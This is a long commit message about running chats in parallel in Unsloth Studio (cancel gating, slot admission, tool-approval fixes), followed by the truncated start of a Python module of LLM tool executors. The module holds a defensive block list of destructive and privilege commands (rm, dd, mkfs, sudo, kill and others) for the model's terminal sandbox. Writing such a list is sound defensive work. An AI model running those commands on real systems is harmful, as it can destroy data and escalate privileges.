c608649552* feat(studio): run chats in parallel in the Chat tab
New Chat used to cancel whatever the current conversation was generating.
It now leaves it running, like switching to the Train or Export tab: the
sidebar shows which chats are still going, and Stop is per conversation.
Plain `unsloth studio` launched llama-server with one decode slot, so the
admission queue serialised every chat regardless of what the UI did. Both
entry points now default to the same slot count as `unsloth studio run`.
A model swap still ends every running chat, since they all decode on one
llama-server. /load and /unload now refuse with 409 and name those chats
unless the caller passes force_cancel_active, and the UI asks first.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix(studio): scope the composer tool badge to its own conversation
The green "Running Python: ..." badge above the composer read a single
global store value, so one chat's tool call showed above every other
chat's composer, including a brand-new empty one. Its elapsed counter
also restarted at 0 on every thread switch, and a run ending anywhere
cleared the badge everywhere.
Key the status by thread and store the moment it started, so each
conversation shows only its own tool call and the counter resumes rather
than restarts. Also adds a test that every conversation gets its own
tool sandbox directory, which parallel tool calls depend on.
* Fix stalled tool calls while awaiting approval for PR #7455
Three problems, all from the approval prompt behaving as though only one
chat could ever run.
Arguments were not streamed for a gated call, so the chat stayed blank for
as long as the model took to write the payload, which for a large file is
minutes. Nothing runs before the decision either way, and the code is what
is being approved, so python and terminal now stream their card while
gated. render_html stays suppressed: its card renders the payload.
The status read "Running ..." with a climbing timer while the call had not
started. It now reports that it is waiting for approval, then switches to
running once allowed.
The admission lease was held across the wait, so four unanswered prompts
held all four decode slots and no other chat could start while llama-server
sat idle. A parked run keeps its lease but no longer counts against
capacity.
Measured with four prompts left open: every gated call streamed its code,
none reported running, and a fresh chat answered in 0.4s where it
previously waited 290s and never did.
* Fix duplicated and truncated tool cards for PR #7455
A gated tool call rendered two cards: the provisional one that streams the
arguments, plus a second one keyed by the approval id. Only the second ever
got its tool_end, so the first spun "Running" for the rest of the chat.
Reuse the open part when the approval prompt arrives.
The terminal card also showed nothing but a 60-char trigger label, so a long
heredoc read as no progress at all. It now renders the command the same way
the Python card renders its script, and neither is capped at 10k chars.
Both cells moved inside the collapsible, so one chevron hides the code with
the output and Copy / Download exist only while the card is open. A card
parked on the prompt says so instead of counting up "Running".
* Fix review findings on the parallel-chat gate for PR #7455
Backend:
- /unload rechecks active generations under the lifecycle gate, like /load,
and lets its 409 through the catch-all instead of rewriting it as a 500.
- /load gates only once _load_model_impl has decided this is a real reload,
so an Apply on the already-loaded model no longer refuses, and the retry it
asks for no longer cancels every chat before returning already_loaded.
- The direct /v1/responses stream registers in the cancel registry, so a
non-forced unload can no longer tear llama-server down under it.
- run_server defaults to the same slot count as the CLI. colab.py calls it
without the argument, so Colab was still serialising every chat.
Frontend:
- Cancelling a backgrounded chat aborts its own request rather than only
posting a cancel id, which is the only thing that ends an external-provider
or audio run.
- The model-swap dialog counts local runs only, and falls back to the backend
when this tab's map is empty, so a reload or a second tab still gets asked.
- Context usage and the diffusion canvas are scoped to the chat that produced
them; a compare row reads activity from its member threads.
Tests:
- The extracted-source cancel harnesses supply the active-generations module,
which the tracked-cancel class now depends on.
* Fix the swap confirmation scope and cancel timing for PR #7455
A forced load cancelled every chat before the model identifier, GPU selection,
training coexistence and download checks had run, so a load that then failed
those checks stopped the chats and replaced nothing. The refusal still happens
early, but the destructive cancel now sits immediately before the teardown it
is paying for, and rechecks under the gate like /unload does.
The swap dialog only reconciled with the backend when this tab looked idle, so
one local chat was enough to hide a second tab's runs. Confirming then sent
force_cancel_active, which cancels every backend run, including the ones the
dialog never mentioned. The backend snapshot is now merged in every time, so
the dialog names what will actually stop. External-provider runs are never
registered there, so the union stays local-only.
Also drops the active-generations docstring claim about restoring sidebar
spinners, which nothing consumes.
* Defer destructive cancels and track every local stream for PR #7455
/unload cancelled the running chats before it had resolved that it unloads
anything. A stale model_path, which a second tab produces routinely, killed
every chat and then no-opped, leaving the resident model up. It now refuses
early and cancels only at each teardown, matching /load.
The swap dialog also stopped every chat locally the moment the user confirmed,
which threw away the two-phase backend behaviour: a load that then failed
identifier resolution, GPU validation or the training guard had already
truncated the replies. The backend now owns the cancel.
Three local streams decoded on llama-server without registering, so a
non-forced unload counted zero generations and tore the server down mid
response: /v1/completions streaming, and the plain and server-tool Anthropic
streams, the first of which is the default /v1/messages path. Note this makes
a non-forced load return 409 during those runs rather than draining quietly,
the same trade the /v1/responses fix made.
The safetensors tool loop still announced a gated call as running while it
waited on a human; only the GGUF loop had been fixed. A source-level parity
test now pins both.
Also drops stopAllChatThreads, which has no callers left.
* Studio: close three load/unload gate races found in review
Re-check the in-flight load guard after the stop-running-chats confirm.
The confirm always GETs active-generations before its zero-running
early-out, so the guard no longer sits atomically ahead of the
reservation and two picks in that window both reached performLoad over
the same refs. ejectModel had the same shape and gets the same re-check.
Reject a sidecar swap immediately before the forced cancel in both load
branches. The previous check was back at the top of preflight, so an
install reserving during identifier resolution, the tier probe, the
training guard or the download check made the post-drain recheck 409 a
load whose chats had already been stopped.
Enter the Anthropic passthrough's cancel tracker inside its body
generator. It was entered eagerly and returned through
_sse_streaming_response, which sets no unstarted_cleanup, so a response
whose body never started left the run registered forever and 409'd every
later non-forced load and unload.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Trim comments across the files this PR touches
Tightens the comments and doc blocks in the backend, CLI, tests and frontend
files changed by this PR: collapses multi-line explanations to a single line
where they still read clearly, and drops the ones the code already says.
No code changes, verified by an AST comparison against the previous commit.
* Studio: defer the destructive cancel and close two gate gaps
Move the forced cancel behind every check that can still reject a swap.
The drain now runs first with the runs it is about to cancel discounted,
so it waits only for inference the cancel cannot end, then the sidecar
check decides, then the cancel fires, then a second drain lets those runs
unwind before teardown. A sidecar install reserving during the drain no
longer 409s a load whose chats have already been stopped.
Track the non-streaming /v1/completions proxy. It was the last local
decode path missing from active_generations, so an unload, which runs no
drain, tore llama-server down under it and force_cancel_active could not
signal it. It now uses the same tracked cancel event and dedicated client
as the OpenAI pass-through.
Skip the client's preliminary unload while chats are generating and let
/load evict at its own post-preflight point instead. Forwarding
force_cancel_active there truncated replies before identifier
resolution, the GPU and training guards and the download check had run.
Keep per-thread context usage so returning to a chat whose background run
finished restores its bar instead of leaving it blank until the next turn.
Make the running-flag clear run-specific. Every run without a resolved
thread id shares the "__default" key, so concurrent compare panes could
clear each other's flag and strand a live stop handle.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: register the embeddings proxy with the swap gate
/v1/embeddings proxied straight through the pooled client with no tracked
cancel event, so it never appeared in active_generations. /unload runs no
idle drain, so a concurrent non-forced unload counted zero generations and
killed llama-server mid-request, and force_cancel_active had no event to
signal. Mirrors the completions proxy: tracked event, dedicated unpooled
client closed by a cancel/disconnect watcher, unregister in a nested
finally so a close failure cannot leave a phantom generation behind.
* Trim comments on the newest changes in this PR
Comments only, no code changes: shorten the ones added by the load-gate
ordering, embeddings and per-thread usage work down to the same density as
the rest of the diff.
* Studio: register the legacy generate stream with the swap gate
/generate/stream built a cancel event but never entered the tracker, so it
was invisible to active_generations. Being in the keep-warm middleware's
inference suffixes only covers /load, which drains; /unload does not, so a
non-forced unload passed the 409 gate and then blocked on the standard
backend's generation lock, and a forced swap had no event to signal.
Registered inside the body generator under a nested finally so a teardown
failure cannot skip the unregister.
The AST contract test asserted the cleanup finally by overwriting its flag
per Try node, so a nested try made the last one win. Accumulate instead,
which is what the existence claim meant.
* Studio: three more swap-gate gaps found in review
Register /audio/generate with the gate. TTS holds the model for the whole
request and /unload runs no drain, so unregistered a non-forced swap counted
zero generations and tore the model down mid-generation; the orchestrator
path only waits 15s for the generation lock, which real TTS exceeds. No
cancel keys: no backend takes a cancel_event for audio, so the event has no
observer and a forced swap still cannot interrupt audio already in flight.
Thread the tracked cancel event into the /v1/responses admission wait. It
was the only admission caller passing None, so a queued run could not be
reached by cancel_all() and a plain /inference/cancel could not stop it at
all. Same omission fixed at the upstream send there and on /v1/completions.
Let an unforced unload of a stale model path reach the no-op check. Before
this PR that request returned 200 and did nothing; the new gate refused it
with 409 for a request that reaches no teardown branch. Gate both refusal
passes on the disjunction of the route's own teardown conditions, including
not is_loaded, so a mid-load GGUF still refuses.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: register the remaining non-streaming decode paths
stream defaults to false on all three of these, so they are the ordinary
shape of their routes, and each holds a local backend for the whole
request. /unload runs no idle drain, so with no registry entry a non-forced
swap counted zero generations and tore the backend down mid-request instead
of returning 409, and a forced one had no event to signal.
Non-streaming /v1/messages: all three helpers ran with an empty registry,
since only the streaming siblings were tracked. Registered at the call site
because the pass-through takes no cancel_event of its own, and with no
cancel keys, matching those siblings.
Non-streaming standard chat and audio-input chat: the trackers in this route
sit inside their `if payload.stream:` arms, so neither else branch was
covered. The GGUF sibling already registers its own non-streaming branch.
Each exit is in a finally on the branch's existing try, so the except arms
are covered too: a leaked entry 409s every later swap until restart.
* Studio: tighten the swap-gate comments
Comment-only pass over the newest swap-gate registrations: collapse the multi-line rationales in /unload, the legacy generate stream, audio generation and the non-streaming chat branches, and the matching test preambles, to the shortest form that still carries the reason. No code changes.
* Studio: stop the reselect dialog promising a stop that never happens
Picking an external provider leaves the local model resident and stops the
status poll mirroring it, so reselecting that model showed the stop-chats
dialog, and /load then answered already_loaded ahead of its cancel hook.
Confirmed with the live backend: the same pick with force_cancel_active set
still returned already_loaded and the chat kept streaming. Not stopping
those chats is right, since the load never interrupts them, so remove the
prompt rather than honour it. Blanket-skipping is unsafe, because the same
id and variant with one sampling setting changed is a real reload and 409s,
so the branch only fires when a status fetch confirms the resident
checkpoint and variant match, and then adopts it without calling /load.
Redact native model paths from the active-generations response. Registering
/generate/stream recorded backend.active_model_name verbatim, which is an
absolute path for a native local model, and this route is the only place
that serialises it. Redacting at the response covers every tracker rather
than the one that surfaced it.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: keep hydrated context usage in the per-thread map
The history loader restores a saved conversation's usage through
setContextUsage only, and it runs once per mount, so switching away and
back left the bar blank for a hydrated chat even after the per-thread map
landed. setContextUsage now writes the value through to the visible
thread's own entry and clears that entry when passed null, which covers
both hydration call sites and any future writer.
* Studio: unblock load cancellation and share unresolved thread keys
Run the two stop-loading fast paths ahead of the unload route's pre-gate
refusal. _unload_may_evict returns True for exactly the model being
cancelled, so the refusal was blocking the branch that cancels a load which
has replaced nothing and can interrupt no chat. The client made that
unrecoverable: cancelLoading sends the unload without force, drops the
result, and its abort never reaches /load, which takes no signal, so the
load ran on and could later cancel those chats and swap the model. Nothing
else is exempted; an unload that would tear down a serving model matches
neither fast path and still 409s. The comment claiming the client lets that
409 surface is corrected, since it discards it.
Hold every owner behind a shared thread key. Runs with no resolved thread id
share "__default" (concurrent compare panes, since startCompare clears
activeThreadId), so a single owner slot let a second run replace the first's
token and then delete the shared entry while it was still generating, and
the server-cancel map lost the older handle the same way. Both now hold a
list, the running and local flags survive until the last owner clears, and
stopChatThread stops every handle under the key.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: carry a confirmed swap into the sidecar install, key restored usage by thread
Picking a model that needs a newer transformers while chats generate raised the
"stop N chats" prompt, but the answer never reached the install that runs before
the load: /install-latest-transformers refused on those same chats and took no
force flag, so Retry hit the same 409 and nothing in the flow stopped them.
Carry force_cancel_active through the consent dialog into the installer. Only
the pre-gate fast path is skipped: the recheck under the lifecycle gate still
has to pass, so an unconfirmed caller is refused as before. The cancel runs last
inside the gate, after every check that can still reject the install, and the
drain behind it is bounded since it holds the gate and the sidecar reservation.
Also key restored context usage by the thread the loader read. history.load()
captures remoteId before two awaited round trips, so a switch inside that window
filed one thread's usage under another and setActiveThreadId kept re-applying it.
Preserve sibling owners when a run key is cleared without an owner: the image
rejection gate now uses its own token, and the reducer leaves owned runs alone.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: bound the post-cancel drains, and make cancellation reach the paths that ignored it
A forced swap cancels the chats it interrupts, then waits for them to unwind.
That wait had no deadline while holding the lifecycle gate, and TTS on the
subprocess backend observes no cancel event at all, so one audio generation
could pin every load, unload and new request for its whole duration. Bound both
post-cancel drains. Pre-cancel drains stay unbounded: the swap can still be
refused there, so shortening them would weaken what they protect.
/unload had the opposite problem and no drain at all, cancelling and tearing
down on the next line, which turned a clean stream end into a dropped
connection. Give it the same bounded wait, gated on the cancel having cancelled
something so an idle Eject pays nothing.
Make the cancel actually land where it can. GGUF TTS now takes a cancel_event
and a watcher closes its client to break the blocking POST. The Anthropic
non-streaming pass-through did the same thing the completions and embeddings
paths used to: register with the gate, then run both POSTs on the pooled client
that cannot be closed. It now uses a per-request client like they do.
Also: park and unpark the admission queue the reservation actually holds, since
queues are keyed by base_url and a reload mints a new port; key tool output by
remoteId on both sides, so the first turn of a New Chat stops writing under one
key and reading another; and give tool status a run owner, so a finishing run
cannot blank the badge a concurrent one is still showing.
Clamp --parallel to 1 on a llama-server without --kv-unified. The new default of
4 would otherwise split -c four ways on such a build, quartering the context
window for a feature it cannot serve.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: scope a chat's Stop to its own generation, and clear the way before a confirmed install
Safetensors generation is serialized on _gen_lock and the worker has a single
cancel event, so a chat still queued on that lock owns no generation. Its Stop
handler called reset_generation_state() anyway, which set the shared event and
ended whichever conversation was actually running. Parallel chats is what makes
that reachable.
_generate_inner now records its cancel_event as the current holder once it takes
the lock, and reset_generation_state drops a reset from anyone else. Every route
call site passes its own request event. A reset with no event stays global, so
unload and model switch cannot leave a generation alive, and a reset while
nothing runs still resets, so an error path before generation is not a no-op.
The other two backends take the argument too, or the standard one raises
TypeError on every cancel.
The sidecar install had the mirror of the /load ordering problem: it cancelled
the chats first and drained second, so an unrelated counted request the cancel
cannot reach (a count_tokens, say) was still there for the recheck, which then
refused an install that had already stopped every chat for nothing. Drain the
unreachable remainder first, discounting the registered chats, then cancel.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: close the windows the previous round's fixes left open
Three follow-ups, two of them holes in the fixes just before them.
The worker claim went in after _send_cmd, so the command was already running
unclaimed and a queued chat's Stop in that window still reset it. Claim first,
with the send inside the same try, so a failed send releases it too.
Tool status kept one entry per key with an owner. That stops a foreign clear but
not an overwrite: under the shared unresolved-thread key the second run replaced
the first's entry, and its own clear then removed the only one while the first
tool was still running. Keep per-run entries and render the newest.
/unload gated its drain on having cancelled something, so a request that passed
the keep-warm middleware but had not reached its tracker yet was invisible to it
and the teardown landed on an already-admitted request. Drain on the middleware
count instead, which covers that window as well as the cancelled runs, then
re-cancel whatever registered while waiting. Bounded, not a refusal: an unload is
deliberate, and on expiry it proceeds exactly as before.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Trim the parallel-chats comments to their reasons
Compress the multi-line rationales added by this branch into shorter forms and drop
restatements of the code below them. The reasons behind the drain bounds, the deferred
cancel, the per-request generation ownership and the thread-scoped tool and usage keys
are kept, just said in fewer lines.
* Studio: own the worker per generation, and make a resumed chat requeue for its slot
Ownership was a single lock holder, so dispatched runs (compare mode bypasses
_gen_lock by design) never claimed it and the guard fell straight through to the
global reset: a Stop on one of them ended its siblings. Track the generations
actually running instead, claimed before the send and released in the same
finally on both paths. A reset still proceeds when nothing is running, so an
error path ahead of generation is not swallowed.
park() hands the freed slot to a waiter, so a chat resuming from a tool approval
could take it back while that waiter was still decoding, putting two holders on
a one-slot server and sending the resumed tool loop past the admission limit.
unpark_async waits for room; the plain unpark stays for a holder tearing down,
which will not decode again.
Audio only observed its cancel event on a forced swap. An explicit Stop just
aborts the fetch, and this route has no cancel id, so llama-server ran on to the
request timeout after the chat reported it stopped. Watch the disconnect.
Also read tool status by remoteId, matching the key the adapter writes and the
fix already made for tool output, and stop an unresolved run from writing its
usage into whichever conversation the user moved to.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: let only the generation the worker is running speak for it, and hold a slot for a resuming chat
The ownership list recorded admission, but the subprocess runs generations one
at a time, so a dispatched request queued behind another counted as an owner and
its Stop signalled the shared cancel event, ending the request that was actually
running. Keep admission for release bookkeeping and gate ownership on execution
instead, promoted when the worker first answers that request. Nothing executing
still permits a reset, so an error path ahead of generation is not swallowed.
The worker has one cancel event and no per-request cancellation, so this decides
who may pull the lever rather than making the lever per-request.
A resuming chat also polled for a slot it could never see: release() grants to
the next waiter under the same lock, so later arrivals overtook an approved chat
indefinitely. A pending unpark now reserves the next slot and they queue behind
it.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: cover the prefill window, and keep a first turn's tool output readable
Gating worker ownership on execution left the interval between the send and the
first response uncovered: nothing is executing then, and the empty case admitted
anyone, so a queued chat's Stop still ended the one in prefill. Split the empty
case. Nothing claimed at all still permits a reset, so an error path ahead of
generation is not swallowed; claimed but unanswered resolves to the oldest
claim, which is what a FIFO command queue is working on.
Putting both sides of the tool-output scope on remoteId left the first turn of a
New Chat writing under the unresolved scope for its whole life while the readers
recomputed the moment the autosave assigned an id, so the card blanked mid-run.
The readers now fall back to the unresolved scope, which only an unpersisted
first turn can occupy.
* Studio: order the parked approvals, and tie a worker claim to its enqueue
The reservation added for admission fairness was a bare count, so every approved
holder counted against every other: park two chats, approve both, and once the
last decoder released, nothing could ever satisfy the check again. That is a
deadlock where the problem it fixed was only unfairness. Make it a FIFO ticket
so a pending unpark blocks the ones behind it and no others.
_owns_worker reads claim order to decide which request the worker is prefilling,
which only holds if claiming and enqueuing cannot interleave. Hold one lock
across both on the dispatched and the locked path.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: follow a first turn's run when its thread gets an id, and key the denoising canvas per chat
A run started before its thread existed filed every handle under "__default". Nothing
moved them once autosave assigned the real id, so the sidebar row showed no spinner and
Stop could not reach the generation, which kept holding a slot.
adoptDefaultThreadRun re-keys the run maps onto the real id from the thread adapter's
initialize(), where the id first exists; anything already filed under that id wins, since
that is a later run. The adapter captures its key once at run start, so it now resolves
the live key per use through runKeyForOwner, looking its own serverCancel up in the owner
map. Without that the migrated entries are stranded and the spinner never clears.
The denoising canvas was one global slot, so two diffusion chats overwrote each other and
the ownership tag then hid the visible preview until that thread emitted again. It is now
activeDiffusionCanvasByThreadId, written and cleared per thread, and the frame no longer
carries a threadId of its own. The bubble reads threadListItem.remoteId, dropping the dead
threadListItem.id arm: the writer tags unstable_threadId, which is exactly remoteId.
Two existing backend tests needed the same treatment. _bare_orchestrator skips __init__, so
it now sets the claim bookkeeping the worker ownership check reads. The Anthropic
passthrough gate test anchored on comment prose that a rewrap had broken; it anchors on the
code instead.
* Studio: hand the worker over cleanly between generations, and stop unresolved runs sharing each other's state
Worker ownership moved off the consumer and onto the dispatcher. Consumers read their
mailbox whenever they get around to it, so a request whose gen_done had been routed still
owned the worker while the next one ran, and a late Stop for it cancelled that one. The
dispatcher is the only place responses arrive in the order the worker produced them: it
now retires a request at its terminal response and promotes the next one, and answering a
request makes it the sole executor, since the subprocess runs one generation at a time.
reserve()'s immediate path ignored the unpark tickets that _grant_waiters_locked already
honours, so a request arriving between a slot freeing and an approved chat's next poll
took it, repeatedly. It applies the same reservation now.
Three places let concurrent first turns share state through the "__default" key. Nothing
links a run filed there to the id its thread later receives, so rather than guess, each
now declines when the key is ambiguous: adoption only re-keys a lone run, the composer
badge only claims a lone status, and the tool-output fallback only applies to a thread
that is still running. That leaves two concurrent first turns where they were before
adoption existed instead of handing one thread the other's handles.
A first turn's usage was never filed, because its key stayed null for the whole run while
autosave moved activeThreadId to the real id, so the context bar went blank after the
first reply. It resolves the adopted key like the cleanup handles do.
Cancelling a forced load left the UI with no model: the previous one stays resident until
/load's teardown, and the cancel path cleared the checkpoint without rolling back. It now
resyncs from the backend, which is right whether or not the load got that far.
The sidecar install drain is weighted 1:4 rather than halved, total unchanged. Only the
second half benefits from patience, and cutting it short refused installs whose chats had
already been stopped for nothing.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: give a first turn its real thread id before the run starts
A first turn filed every run handle under a shared unresolved key because
assistant-ui binds unstable_threadId before the thread is persisted. Two of them
overlapping there is unresolvable afterwards, and the last round's migration could
only decline rather than guess, which left neither sidebar row showing its run.
The id is available earlier than I claimed. append() already tracks
threadListItem.initialize() by the user message id, and createPersistedRunAdapter
already awaits that promise before invoking the adapter, so the thread is persisted
by the time the run begins. It was only being discarded: the tracked promise resolved
to void. It now resolves to the assigned id, and the wrapper hands it to the adapter
when assistant-ui had none. An id that is already set is never replaced, since that
would move a running chat's handles out from under the row watching them. The
existing unresolved-key guards stay as a safety net but should no longer carry weight.
The sidebar counted running thread ids rather than rows, so one compare conversation
read as two chats. It folds ids into rows through the same threadIds the row spinner
uses, and still counts a running id that matches no row.
_TrackedCancel always registered kind="chat", so an embeddings or raw completions
request appeared in the model-swap prompt as an unnamed conversation and confirming
cancelled it while calling it a chat. The non-conversation routes now pass their own
kind, and the prompt says "requests" whenever the snapshot is not all chats.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: withhold the shared worker cancel from a request the worker has left
Moving ownership to the dispatcher fixed reset_generation_state, but the token loop
signals the shared worker event directly and did not carry the same rule. A dispatched
consumer runs with mark_started off and can still be draining tokens buffered before
its gen_done was routed, so stopping it there ended whichever request the worker had
started next.
It now signals only when _owns_worker agrees, the same predicate reset_generation_state
uses. The local drain and return are unconditional, since those touch nothing but this
stream. The remaining _cancel_generation callers are deliberately global: subprocess
shutdown, the pre-load kill and unload_model.
* Studio: add the AGPL-3.0 header to the first-turn identity test
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: stop the dispatcher and a _gen_lock stream fighting over the response queue
Nothing stopped the dispatcher starting under a _gen_lock generation, so once compare
was opened while an ordinary chat was still streaming, both consumed _resp_queue and
whichever response the dispatcher took without a mailbox was dropped, gen_done included.
That chat truncated or hung. This PR is what makes it reachable, since navigating into
compare no longer ends the chat behind it.
Delaying the dispatcher would serialise compare behind whatever chat happens to be
streaming, so the direct readers get a mailbox instead. _direct_reader returns a reader,
a cancel drain and a release, and files the mailbox under _direct_mailboxes rather than
_mailboxes, which means "compare requests are in flight" to the unload and distributed
paths and must not count an ordinary chat.
Both directions close. The dispatcher finds the direct reader's mailbox instead of
dropping. And this reader can already be blocked on the queue when a compare request's
dispatcher starts, so a response that is not ours goes to its own mailbox rather than
being consumed, which would have corrupted the chat and hung the pane. All three
_gen_lock readers use it, and the cancel drain goes through it too.
The sidebar's return target still picked a raw pane id while the count grouped by row,
and /chat addresses compare with `compare`, not `thread`. It resolves through the same
items now, so a running compare row returns to its pair.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: keep worker ownership honest across audio, API traffic and a replaced worker
The audio-input send got a mailbox last round but stayed unclaimed, so a compare request
queued behind it looked like the oldest owner and stopping that queued request signalled
the shared event into the audio chat. It claims under the send lock and releases in the
finally, like _generate_inner.
Ownership is keyed on cancel-event identity with nothing tying it to a worker generation,
so a consumer still blocked on its mailbox when the process was replaced stayed recorded
as the executor, and a generation on the fresh worker could not be stopped.
_shutdown_subprocess clears that state once the process is confirmed dead, mailboxes
included: nothing routes to them again, and a stale one reads as compare activity to the
unload path. Not on the survived-SIGKILL path, which keeps its handle on purpose.
The four public /v1/messages trackers were registering as chats. The distinction is a
Studio thread, not the protocol, and those branches already say "No thread_id: public API
surface" while the Studio path passes payload.thread_id separately. They carry their own
kind now, so the swap prompt stops calling an external request a chat.
The swap confirmation still counted raw pane ids, so a compare conversation asked to stop
two chats and listed its title twice. It folds panes onto pairId and lowers the count by
what it collapsed, leaving a first turn the backend can count but not name.
Deep Research set runningByThreadId but registered no server-cancel handle, and that map
is how Stop, archive and delete reach a thread that is no longer active. Leaving the
outgoing thread running is this PR's doing, so the run was left unreachable while its
supervisor kept working against a conversation the user could delete.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: tighten the parallel-chats comments
* Studio: replay a Deep Research stop that arrived before the run existed
The handle is registered before createResearchRun resolves because the thread can be
stopped while that request is in flight, but it had no id to act on and dropped the stop.
The supervisor then followed a run the user had already stopped, archived or deleted.
It latches instead: a stop with no id yet sets a flag, and the adapter replays it against
the id the moment creation returns rather than starting to follow.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: fix worker ownership on a raced reroute, and the stop-chats prompt
Four review findings on the parallel-chats work, all reproduced first.
- _direct_reader hands a foreign response to its own mailbox, but skipped the
ownership move the dispatcher makes. A _gen_lock reader already blocked on
resp_queue can beat the compare dispatcher to that request's first response,
and the compare consumer opts out of marking, so nothing promoted it: the
direct request stayed the recorded executor, its late reset cancelled the
compare generation, and the compare chat's own Stop was ignored.
- A chat stopped while queued on _gen_lock was still claimed and sent once the
lock freed. Cancellation is only checked on a token, so a long prefill, or a
generation reaching gen_done without one, occupied the worker after Stop.
Same hole in the audio-input path, which shares the lock.
- The stop-chats prompt counted generation handles, not conversations. One chat
holds several while a tool continuation registers its next leg before the
previous unwinds, so it offered to stop two chats and listed one title.
- Ejecting a model confirms through that dialog, which told the user
"Unloading the model reloads the model" and offered "Stop and reload".
Confirming calls /unload and leaves nothing loaded.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: name the TTS run's thread so the stop prompt counts it once
The audio branch registers its run locally under the thread key but sent no
thread_id, so the backend tracker filed the same generation under no thread.
The stop-chats prompt then had a named local run and an unnamed backend one and,
since e8e7594 started adding unnamed entries to the named ones, counted a single
TTS chat as two requests. The backend already reads payload.thread_id, so
sending it lines both registries up on the same run.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
8571 lines
358 KiB
Python
8571 lines
358 KiB
Python
# SPDX-License-Identifier: AGPL-3.0-only
|
|
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
|
|
|
|
"""Tool definitions and executors for LLM tool calling: web search
|
|
(DuckDuckGo), Python code execution, and terminal commands."""
|
|
|
|
import ast
|
|
import codecs
|
|
import fnmatch
|
|
import http.client
|
|
import os
|
|
import signal
|
|
|
|
os.environ["UNSLOTH_IS_PRESENT"] = "1"
|
|
|
|
import asyncio
|
|
import queue
|
|
import random
|
|
import re
|
|
import shlex
|
|
import shutil
|
|
import ssl
|
|
import subprocess
|
|
import sys
|
|
import tempfile
|
|
import threading
|
|
import time
|
|
import urllib.parse
|
|
import urllib.request
|
|
|
|
from core.inference.mcp_client import (
|
|
MCP_TOOL_PREFIX,
|
|
TOOL_CACHE_INVALIDATING_FIELDS,
|
|
cache_tools,
|
|
call_tool_sync,
|
|
get_cached_tools,
|
|
in_failure_cooloff,
|
|
is_stdio,
|
|
list_tools_async,
|
|
parse_server_headers,
|
|
probe_timeout,
|
|
record_probe_failure,
|
|
stdio_mcp_enabled,
|
|
)
|
|
from storage import mcp_servers_db
|
|
|
|
from loggers import get_logger
|
|
|
|
logger = get_logger(__name__)
|
|
|
|
_EXEC_TIMEOUT = 300 # 5 minutes
|
|
_RAG_SEARCH_SLOT = threading.BoundedSemaphore(1)
|
|
# Candidate multiplier when a website policy will filter the results after the search.
|
|
_POLICY_OVERFETCH = 4
|
|
_DISABLE_DNS_PINNING_ENV = "UNSLOTH_STUDIO_DISABLE_DNS_PINNING"
|
|
|
|
# Splits the UI source-map from the result; loops strip it (like __IMAGES__).
|
|
RAG_SOURCES_SENTINEL = "\n__RAG_SOURCES__:"
|
|
|
|
# Import these at module level so the preexec_fn closure triggers no imports in
|
|
# the forked child (which can deadlock multi-threaded servers).
|
|
_libc = None
|
|
if sys.platform == "linux":
|
|
try:
|
|
import ctypes
|
|
import ctypes.util
|
|
|
|
_libc_name = ctypes.util.find_library("c")
|
|
if _libc_name:
|
|
_libc = ctypes.CDLL(_libc_name, use_errno = True)
|
|
except (OSError, AttributeError):
|
|
pass
|
|
|
|
_resource = None
|
|
if sys.platform != "win32":
|
|
try:
|
|
import resource as _resource
|
|
except ImportError:
|
|
pass
|
|
|
|
# Raster-image allowlist for sandbox file serving.
|
|
# No .svg (XSS via embedded scripts), no .html, no .pdf.
|
|
_IMAGE_EXTS = frozenset({".png", ".jpg", ".jpeg", ".gif", ".webp", ".bmp"})
|
|
|
|
|
|
def _env_int(name: str, default: int) -> int:
|
|
"""Read an int env override; fall back to ``default`` on unset/garbage."""
|
|
try:
|
|
value = int(os.environ.get(name, "") or default)
|
|
except (TypeError, ValueError):
|
|
return default
|
|
return value if value > 0 else default
|
|
|
|
|
|
# Model-visible cap on python/terminal tool results (protects the context
|
|
# window). The live UI stream is capped separately and higher, so _truncate's
|
|
# notice stays mode-neutral (see tool_stream_exec.TOOL_OUTPUT_STREAM_MAX_CHARS).
|
|
_MAX_OUTPUT_CHARS = _env_int("UNSLOTH_TOOL_RESULT_MAX_CHARS", 16000)
|
|
_BLOCKED_COMMANDS_COMMON = frozenset(
|
|
{
|
|
"rm",
|
|
"dd",
|
|
"chmod",
|
|
"chown",
|
|
"mkfs",
|
|
"mount",
|
|
"umount",
|
|
"fdisk",
|
|
"sudo",
|
|
"su",
|
|
"doas",
|
|
"pkexec",
|
|
"shutdown",
|
|
"reboot",
|
|
"halt",
|
|
"poweroff",
|
|
"kill",
